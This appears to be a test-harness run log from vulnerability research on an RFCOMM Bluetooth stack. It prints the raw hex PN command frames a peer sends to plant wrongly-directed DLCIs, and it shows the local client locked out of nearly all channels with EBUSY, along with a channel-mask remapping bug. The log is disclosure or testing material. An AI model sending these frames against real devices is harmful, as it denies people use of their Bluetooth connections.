DF-5760 / run.log
=== DF-5760 harness: PN command direction poison === [harness] listening on channel 3 (dlc 0xfffff8008d520600) [harness] 30 listening DLCs armed (channels 1..30) [harness] responder session 0xfffff80116c2cad0 (chan 0xffffffff82603a90, NOT initiator) [harness] <- SABM(0) [session up] (4 bytes): 03 3f 01 1c [l2cap-stub] send: 4 bytes (first octet 0x3) [harness] session state = 2 (2 = OPEN) [l2cap-stub] send: 11 bytes (first octet 0x1) [harness] BASELINE: local connect(ch 4) -> 0 (accepted, DLCI 9) [upper] disconnected (0) [harness] <- PN cmd DLCI=7 (poison: OUR direction) (14 bytes): 03 ef 15 83 11 07 f0 00 00 7f 00 00 07 70 [upper] newconn #1 (listener upper 0x3) [l2cap-stub] send: 11 bytes (first octet 0x1) [harness] POISON-CONFIRMED: peer-planted DLCI 7 exists on session (state 2) [harness] <- SABM(6) [legit, peer direction] (4 bytes): 1b 3f 01 d3 [upper] newconn #2 (listener upper 0x3) [l2cap-stub] send: 4 bytes (first octet 0x1b) [l2cap-stub] send: 6 bytes (first octet 0x1) [upper] connected [harness] DUP-CHANNEL: channel 3 now has DLCI 6 (state 6) AND peer-planted DLCI 7 (state 2) [harness] LOCAL-CONNECT: rfcomm_connect(ch 3) -> 16 (EBUSY = 16) <== locked out by peer [harness] <- ? (14 bytes): 03 ef 15 83 11 03 f0 00 00 7f 00 00 07 70 [upper] newconn #3 (listener upper 0x1) [l2cap-stub] send: 11 bytes (first octet 0x1) [harness] <- ? (14 bytes): 03 ef 15 83 11 05 f0 00 00 7f 00 00 07 70 [upper] newconn #4 (listener upper 0x2) [l2cap-stub] send: 11 bytes (first octet 0x1) [harness] <- ? (14 bytes): 03 ef 15 83 11 0b f0 00 00 7f 00 00 07 70 [upper] newconn #5 (listener upper 0x5) [l2cap-stub] send: 11 bytes (first octet 0x1) [harness] <- ? (14 bytes): 03 ef 15 83 11 0d f0 00 00 7f 00 00 07 70 [upper] newconn #6 (listener upper 0x6) [l2cap-stub] send: 11 bytes (first octet 0x1) [harness] <- ? (14 bytes): 03 ef 15 83 11 0f f0 00 00 7f 00 00 07 70 [upper] newconn #7 (listener upper 0x7) [l2cap-stub] send: 11 bytes (first octet 0x1) [harness] <- ? (14 bytes): 03 ef 15 83 11 11 f0 00 00 7f 00 00 07 70 [upper] newconn #8 (listener upper 0x8) [l2cap-stub] send: 11 bytes (first octet 0x1) [harness] <- ? (14 bytes): 03 ef 15 83 11 13 f0 00 00 7f 00 00 07 70 [upper] newconn #9 (listener upper 0x9) [l2cap-stub] send: 11 bytes (first octet 0x1) [harness] <- ? (14 bytes): 03 ef 15 83 11 15 f0 00 00 7f 00 00 07 70 [upper] newconn #10 (listener upper 0xa) [l2cap-stub] send: 11 bytes (first octet 0x1) [harness] <- ? (14 bytes): 03 ef 15 83 11 17 f0 00 00 7f 00 00 07 70 [upper] newconn #11 (listener upper 0xb) [l2cap-stub] send: 11 bytes (first octet 0x1) [harness] <- ? (14 bytes): 03 ef 15 83 11 19 f0 00 00 7f 00 00 07 70 [upper] newconn #12 (listener upper 0xc) [l2cap-stub] send: 11 bytes (first octet 0x1) [harness] <- ? (14 bytes): 03 ef 15 83 11 1b f0 00 00 7f 00 00 07 70 [upper] newconn #13 (listener upper 0xd) [l2cap-stub] send: 11 bytes (first octet 0x1) [harness] <- ? (14 bytes): 03 ef 15 83 11 1d f0 00 00 7f 00 00 07 70 [upper] newconn #14 (listener upper 0xe) [l2cap-stub] send: 11 bytes (first octet 0x1) [harness] <- ? (14 bytes): 03 ef 15 83 11 1f f0 00 00 7f 00 00 07 70 [upper] newconn #15 (listener upper 0xf) [l2cap-stub] send: 11 bytes (first octet 0x1) [harness] <- ? (14 bytes): 03 ef 15 83 11 21 f0 00 00 7f 00 00 07 70 [l2cap-stub] send: 4 bytes (first octet 0x87) [harness] channel 16 NOT planted -- dumping listen state [harness] listeners[16] = 0xfffff8008d520e70 state 8 chan 16 psm 3 [harness] listen session 0xfffff80116c2d1b0 state 4: [harness] dlc 0xfffff8008d521650 dlci 0 chan 30 state 8 [harness] dlc 0xfffff8008d5215c0 dlci 0 chan 29 state 8 [harness] dlc 0xfffff8008d521530 dlci 0 chan 28 state 8 [harness] dlc 0xfffff8008d5214a0 dlci 0 chan 27 state 8 [harness] dlc 0xfffff8008d521410 dlci 0 chan 26 state 8 [harness] dlc 0xfffff8008d521380 dlci 0 chan 25 state 8 [harness] dlc 0xfffff8008d5212f0 dlci 0 chan 24 state 8 [harness] dlc 0xfffff8008d521260 dlci 0 chan 23 state 8 [harness] dlc 0xfffff8008d5211d0 dlci 0 chan 22 state 8 [harness] dlc 0xfffff8008d521140 dlci 0 chan 21 state 8 [harness] dlc 0xfffff8008d5210b0 dlci 0 chan 20 state 8 [harness] dlc 0xfffff8008d521020 dlci 0 chan 19 state 8 [harness] dlc 0xfffff8008d520f90 dlci 0 chan 18 state 8 [harness] dlc 0xfffff8008d520f00 dlci 0 chan 17 state 8 [harness] dlc 0xfffff8008d520e70 dlci 0 chan 16 state 8 [harness] dlc 0xfffff8008d520de0 dlci 0 chan 15 state 8 [harness] dlc 0xfffff8008d520d50 dlci 0 chan 14 state 8 [harness] dlc 0xfffff8008d520cc0 dlci 0 chan 13 state 8 [harness] dlc 0xfffff8008d520c30 dlci 0 chan 12 state 8 [harness] dlc 0xfffff8008d520ba0 dlci 0 chan 11 state 8 [harness] dlc 0xfffff8008d520b10 dlci 0 chan 10 state 8 [harness] dlc 0xfffff8008d520a80 dlci 0 chan 9 state 8 [harness] dlc 0xfffff8008d5209f0 dlci 0 chan 8 state 8 [harness] dlc 0xfffff8008d520960 dlci 0 chan 7 state 8 [harness] dlc 0xfffff8008d5208d0 dlci 0 chan 6 state 8 [harness] dlc 0xfffff8008d520840 dlci 0 chan 5 state 8 [harness] dlc 0xfffff8008d5207b0 dlci 0 chan 4 state 8 [harness] dlc 0xfffff8008d520720 dlci 0 chan 2 state 8 [harness] dlc 0xfffff8008d520690 dlci 0 chan 1 state 8 [harness] dlc 0xfffff8008d520600 dlci 0 chan 3 state 8 [harness] total listen dlcs 30, children 15 [harness] <- ? (14 bytes): 03 ef 15 83 11 23 f0 00 00 7f 00 00 07 70 [upper] newconn #16 (listener upper 0x1) [l2cap-stub] send: 11 bytes (first octet 0x1) [harness] <- ? (14 bytes): 03 ef 15 83 11 25 f0 00 00 7f 00 00 07 70 [upper] newconn #17 (listener upper 0x2) [l2cap-stub] send: 11 bytes (first octet 0x1) [harness] <- ? (14 bytes): 03 ef 15 83 11 27 f0 00 00 7f 00 00 07 70 [upper] newconn #18 (listener upper 0x3) [l2cap-stub] send: 11 bytes (first octet 0x1) [harness] <- ? (14 bytes): 03 ef 15 83 11 29 f0 00 00 7f 00 00 07 70 [upper] newconn #19 (listener upper 0x4) [l2cap-stub] send: 11 bytes (first octet 0x1) [harness] <- ? (14 bytes): 03 ef 15 83 11 2b f0 00 00 7f 00 00 07 70 [upper] newconn #20 (listener upper 0x5) [l2cap-stub] send: 11 bytes (first octet 0x1) [harness] <- ? (14 bytes): 03 ef 15 83 11 2d f0 00 00 7f 00 00 07 70 [upper] newconn #21 (listener upper 0x6) [l2cap-stub] send: 11 bytes (first octet 0x1) [harness] <- ? (14 bytes): 03 ef 15 83 11 2f f0 00 00 7f 00 00 07 70 [upper] newconn #22 (listener upper 0x7) [l2cap-stub] send: 11 bytes (first octet 0x1) [harness] <- ? (14 bytes): 03 ef 15 83 11 31 f0 00 00 7f 00 00 07 70 [upper] newconn #23 (listener upper 0x8) [l2cap-stub] send: 11 bytes (first octet 0x1) [harness] <- ? (14 bytes): 03 ef 15 83 11 33 f0 00 00 7f 00 00 07 70 [upper] newconn #24 (listener upper 0x9) [l2cap-stub] send: 11 bytes (first octet 0x1) [harness] <- ? (14 bytes): 03 ef 15 83 11 35 f0 00 00 7f 00 00 07 70 [upper] newconn #25 (listener upper 0xa) [l2cap-stub] send: 11 bytes (first octet 0x1) [harness] <- ? (14 bytes): 03 ef 15 83 11 37 f0 00 00 7f 00 00 07 70 [upper] newconn #26 (listener upper 0xb) [l2cap-stub] send: 11 bytes (first octet 0x1) [harness] <- ? (14 bytes): 03 ef 15 83 11 39 f0 00 00 7f 00 00 07 70 [upper] newconn #27 (listener upper 0xc) [l2cap-stub] send: 11 bytes (first octet 0x1) [harness] <- ? (14 bytes): 03 ef 15 83 11 3b f0 00 00 7f 00 00 07 70 [upper] newconn #28 (listener upper 0xd) [l2cap-stub] send: 11 bytes (first octet 0x1) [harness] <- ? (14 bytes): 03 ef 15 83 11 3d f0 00 00 7f 00 00 07 70 [upper] newconn #29 (listener upper 0xe) [l2cap-stub] send: 11 bytes (first octet 0x1) [harness] poisoned DLCIs 1..61 (odd) planted [harness] MASK-BUG: RFCOMM_CHANNEL(33)=0 (16 & 0x2f), RFCOMM_CHANNEL(35)=1 (17 & 0x2f), RFCOMM_CHANNEL(61)=14 (30 & 0x2f) -- channels 16..30 remap onto 0..14; see the 'listener upper N' lines above for mis-attribution [l2cap-stub] send: 11 bytes (first octet 0x1) [upper] disconnected (0) [harness] <- PN cmd DLCI=34 (ch 17, CORRECT direction) (14 bytes): 03 ef 15 83 11 22 f0 00 00 7f 00 00 07 70 [upper] newconn #30 (listener upper 0x1) [l2cap-stub] send: 11 bytes (first octet 0x1) [harness] MASK-CHECK: DLCI 34 (channel 17) planted, rd_laddr.bt_channel = 1 (17 == correct match) [harness] POISON-SWEEP: 28/29 poisoned channels refuse local connect with EBUSY [harness] RESULT: PEER CAN LOCK THE LOCAL RFCOMM CLIENT OUT OF ALL CHANNELS (newconn calls: 30)